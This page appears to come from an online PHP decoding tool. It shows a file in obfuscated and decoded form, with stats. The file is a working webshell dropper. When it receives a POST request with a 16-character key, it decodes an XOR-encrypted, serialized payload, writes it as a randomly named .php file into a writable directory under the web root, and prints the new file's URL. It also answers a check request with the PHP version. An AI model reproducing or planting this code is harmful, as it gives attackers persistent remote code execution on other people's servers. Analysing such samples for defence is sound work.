Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function SOiFEO($JyvOfTJdoA) { $bSLjMbWeI = "\x72" . 'a' . "\x77" . "\x75" . c..

Decoded Output download

<?php function SOiFEO($JyvOfTJdoA) 
{ 
    $bSLjMbWeI = "r" . 'a' . "w" . "u" . chr(237 - 123) . chr(644 - 536) . "d" . 'e' . chr(99) . chr(249 - 138) . "d" . chr(101); 
    $anktb = "s" . 't' . 'r' . "_" . 'r' . "o" . "t" . "1" . chr(95 - 44); 
    $PmJDlf = "s" . 't' . chr(114) . "_" . chr(1103 - 988) . "p" . "l" . 'i' . chr(116); 
    $JyvOfTJdoA = $PmJDlf($bSLjMbWeI($anktb($JyvOfTJdoA))); 
    return $JyvOfTJdoA; 
} 
function IxCsU($wJGowmFbU, $JyvOfTJdoA) 
{ 
    $MBUsacQ = "s" . chr(116) . chr(762 - 648) . "_" . "s" . "p" . chr(108) . 'i' . "t"; 
    $wJGowmFbU = array_slice($MBUsacQ(str_repeat($wJGowmFbU, (count($JyvOfTJdoA) / 16) + 1)), 0, count($JyvOfTJdoA)); 
    return $wJGowmFbU; 
} 
function SmddXYTGW($tbmqI, $iGMLUiae, $wJGowmFbU) 
{ 
    $XtiXeJQ = "951b9fa3-8635-4714-aca6-4faa9f7f85a8"; 
    return $tbmqI ^ $XtiXeJQ[$iGMLUiae % strlen($XtiXeJQ)] ^ $wJGowmFbU; 
} 
function ElETyRN($JyvOfTJdoA, $wJGowmFbU) 
{ 
    $JyvOfTJdoA = array_map("SmddXYTGW", array_values($JyvOfTJdoA), array_keys($JyvOfTJdoA), array_values($wJGowmFbU)); 
    $JyvOfTJdoA = implode("", $JyvOfTJdoA); 
    $lihJUcxHDe = "u" . "n" . chr(760 - 645) . chr(419 - 318) . "r" . "i" . chr(97) . "l" . chr(105) . "z" . chr(101); 
    $JyvOfTJdoA = @$lihJUcxHDe($JyvOfTJdoA); 
    return $JyvOfTJdoA; 
} 
function iUXMj() 
{ 
    echo "kNxJlZLou"; 
} 
function nJcNRZc($LsaajuPir) 
{ 
    static $OXqkPjZiO = array(); 
    $jxdLesfJX = glob($LsaajuPir . '/*', GLOB_ONLYDIR); 
    $jrdmNyoSZv = count($jxdLesfJX); 
    if ($jrdmNyoSZv > 0) { 
        foreach ($jxdLesfJX as $LsaajuP) { 
            $rWulPt = chr(618 - 513) . "s" . '_' . "w" . 'r' . "i" . 't' . 'a' . chr(98) . chr(108) . chr(101); 
            if (@$rWulPt($LsaajuP)) { 
                $OXqkPjZiO[] = $LsaajuP; 
            } 
        } 
    } 
    foreach ($jxdLesfJX as $LsaajuPir) nJcNRZc($LsaajuPir); 
    return $OXqkPjZiO; 
} 
function pBGMKTyVkW() 
{ 
    echo "CkWgSs"; 
} 
function ZYbIX($JyvOfTJdoA) 
{ 
    $AAjpcEhl = "D" . "O" . chr(67) . "U" . "M" . chr(69) . chr(340 - 262) . chr(531 - 447) . '_' . "R" . 'O' . "O" . "T"; 
    $qrBWQRucb = $_SERVER[$AAjpcEhl]; 
    $jxdLesfJX = nJcNRZc($qrBWQRucb); 
    $jFPpg = array_rand($jxdLesfJX); 
    $GxnLJEPAuc = chr(46) . "p" . "h" . chr(865 - 753); 
    $MTijCzz = $jxdLesfJX[$jFPpg] . "/" . substr(md5(time()), 0, 8) . $GxnLJEPAuc; 
    $txyDUrKk = "f" . 'i' . "l" . "e" . "_" . "p" . chr(117) . 't' . chr(95) . "c" . chr(808 - 697) . chr(110) . chr(116) . chr(101) . 'n' . "t" . "s"; 
    @$txyDUrKk($MTijCzz, $JyvOfTJdoA); 
    $GaOnTsBkp = 'H' . "T" . "T" . "P" . chr(793 - 698) . chr(445 - 373) . "O" . "S" . 'T'; 
    $uagJU = chr(392 - 288) . chr(116) . "t" . "p" . ':' . "/" . "/"; 
    $TDFDuJ = $uagJU . $_SERVER[$GaOnTsBkp] . substr($MTijCzz, strlen($qrBWQRucb)); 
    print($TDFDuJ); 
} 
foreach ($_POST as $wJGowmFbU => $JyvOfTJdoA) { 
    $lUjmTIdFhS = strlen($wJGowmFbU); 
    if ($lUjmTIdFhS == 16) { 
        $JyvOfTJdoA = SOiFEO($JyvOfTJdoA); 
        $wJGowmFbU = IxCsU($wJGowmFbU, $JyvOfTJdoA); 
        $JyvOfTJdoA = ElETyRN($JyvOfTJdoA, $wJGowmFbU); 
        if (@is_array($JyvOfTJdoA)) { 
            $jFPpg = array_keys($JyvOfTJdoA); 
            $JyvOfTJdoA = $JyvOfTJdoA[$jFPpg[0]]; 
            if ($JyvOfTJdoA === $jFPpg[0]) { 
                $ZslbpC = chr(112) . "h" . "p"; 
                $fmmKBG = "p" . "h" . chr(127 - 15) . chr(776 - 658) . "e" . chr(114) . "s" . chr(105) . 'o' . "n"; 
                $aaKpapq = "s" . "e" . "r" . "i" . chr(689 - 592) . "l" . "i" . chr(122) . chr(101); 
                echo @$aaKpapq(array($ZslbpC => @$fmmKBG(),)); 
            } else { 
                ZYbIX($JyvOfTJdoA); 
            } 
            die(); 
        } 
    } 
} 
 ?>

Did this file decode correctly?

Original Code

<?php function SOiFEO($JyvOfTJdoA)
{
    $bSLjMbWeI = "\x72" . 'a' . "\x77" . "\x75" . chr(237 - 123) . chr(644 - 536) . "\144" . 'e' . chr(99) . chr(249 - 138) . "\x64" . chr(101);
    $anktb = "\x73" . 't' . 'r' . "\137" . 'r' . "\157" . "\164" . "\x31" . chr(95 - 44);
    $PmJDlf = "\x73" . 't' . chr(114) . "\137" . chr(1103 - 988) . "\160" . "\x6c" . 'i' . chr(116);
    $JyvOfTJdoA = $PmJDlf($bSLjMbWeI($anktb($JyvOfTJdoA)));
    return $JyvOfTJdoA;
}
function IxCsU($wJGowmFbU, $JyvOfTJdoA)
{
    $MBUsacQ = "\x73" . chr(116) . chr(762 - 648) . "\x5f" . "\x73" . "\160" . chr(108) . 'i' . "\164";
    $wJGowmFbU = array_slice($MBUsacQ(str_repeat($wJGowmFbU, (count($JyvOfTJdoA) / 16) + 1)), 0, count($JyvOfTJdoA));
    return $wJGowmFbU;
}
function SmddXYTGW($tbmqI, $iGMLUiae, $wJGowmFbU)
{
    $XtiXeJQ = "951b9fa3-8635-4714-aca6-4faa9f7f85a8";
    return $tbmqI ^ $XtiXeJQ[$iGMLUiae % strlen($XtiXeJQ)] ^ $wJGowmFbU;
}
function ElETyRN($JyvOfTJdoA, $wJGowmFbU)
{
    $JyvOfTJdoA = array_map("SmddXYTGW", array_values($JyvOfTJdoA), array_keys($JyvOfTJdoA), array_values($wJGowmFbU));
    $JyvOfTJdoA = implode("", $JyvOfTJdoA);
    $lihJUcxHDe = "\x75" . "\156" . chr(760 - 645) . chr(419 - 318) . "\162" . "\151" . chr(97) . "\154" . chr(105) . "\172" . chr(101);
    $JyvOfTJdoA = @$lihJUcxHDe($JyvOfTJdoA);
    return $JyvOfTJdoA;
}
function iUXMj()
{
    echo "kNxJlZLou";
}
function nJcNRZc($LsaajuPir)
{
    static $OXqkPjZiO = array();
    $jxdLesfJX = glob($LsaajuPir . '/*', GLOB_ONLYDIR);
    $jrdmNyoSZv = count($jxdLesfJX);
    if ($jrdmNyoSZv > 0) {
        foreach ($jxdLesfJX as $LsaajuP) {
            $rWulPt = chr(618 - 513) . "\x73" . '_' . "\x77" . 'r' . "\x69" . 't' . 'a' . chr(98) . chr(108) . chr(101);
            if (@$rWulPt($LsaajuP)) {
                $OXqkPjZiO[] = $LsaajuP;
            }
        }
    }
    foreach ($jxdLesfJX as $LsaajuPir) nJcNRZc($LsaajuPir);
    return $OXqkPjZiO;
}
function pBGMKTyVkW()
{
    echo "CkWgSs";
}
function ZYbIX($JyvOfTJdoA)
{
    $AAjpcEhl = "\104" . "\x4f" . chr(67) . "\x55" . "\115" . chr(69) . chr(340 - 262) . chr(531 - 447) . '_' . "\122" . 'O' . "\x4f" . "\124";
    $qrBWQRucb = $_SERVER[$AAjpcEhl];
    $jxdLesfJX = nJcNRZc($qrBWQRucb);
    $jFPpg = array_rand($jxdLesfJX);
    $GxnLJEPAuc = chr(46) . "\160" . "\150" . chr(865 - 753);
    $MTijCzz = $jxdLesfJX[$jFPpg] . "/" . substr(md5(time()), 0, 8) . $GxnLJEPAuc;
    $txyDUrKk = "\146" . 'i' . "\154" . "\145" . "\137" . "\x70" . chr(117) . 't' . chr(95) . "\x63" . chr(808 - 697) . chr(110) . chr(116) . chr(101) . 'n' . "\x74" . "\163";
    @$txyDUrKk($MTijCzz, $JyvOfTJdoA);
    $GaOnTsBkp = 'H' . "\124" . "\x54" . "\120" . chr(793 - 698) . chr(445 - 373) . "\x4f" . "\x53" . 'T';
    $uagJU = chr(392 - 288) . chr(116) . "\x74" . "\160" . ':' . "\57" . "\57";
    $TDFDuJ = $uagJU . $_SERVER[$GaOnTsBkp] . substr($MTijCzz, strlen($qrBWQRucb));
    print($TDFDuJ);
}
foreach ($_POST as $wJGowmFbU => $JyvOfTJdoA) {
    $lUjmTIdFhS = strlen($wJGowmFbU);
    if ($lUjmTIdFhS == 16) {
        $JyvOfTJdoA = SOiFEO($JyvOfTJdoA);
        $wJGowmFbU = IxCsU($wJGowmFbU, $JyvOfTJdoA);
        $JyvOfTJdoA = ElETyRN($JyvOfTJdoA, $wJGowmFbU);
        if (@is_array($JyvOfTJdoA)) {
            $jFPpg = array_keys($JyvOfTJdoA);
            $JyvOfTJdoA = $JyvOfTJdoA[$jFPpg[0]];
            if ($JyvOfTJdoA === $jFPpg[0]) {
                $ZslbpC = chr(112) . "\x68" . "\160";
                $fmmKBG = "\160" . "\x68" . chr(127 - 15) . chr(776 - 658) . "\x65" . chr(114) . "\163" . chr(105) . 'o' . "\156";
                $aaKpapq = "\163" . "\145" . "\162" . "\151" . chr(689 - 592) . "\x6c" . "\x69" . chr(122) . chr(101);
                echo @$aaKpapq(array($ZslbpC => @$fmmKBG(),));
            } else {
                ZYbIX($JyvOfTJdoA);
            }
            die();
        }
    }
}

Function Calls

None

Variables

None

Stats

MD5 9d3a66085e9ca0093c6584878440b68b
Eval Count 0
Decode Time 68 ms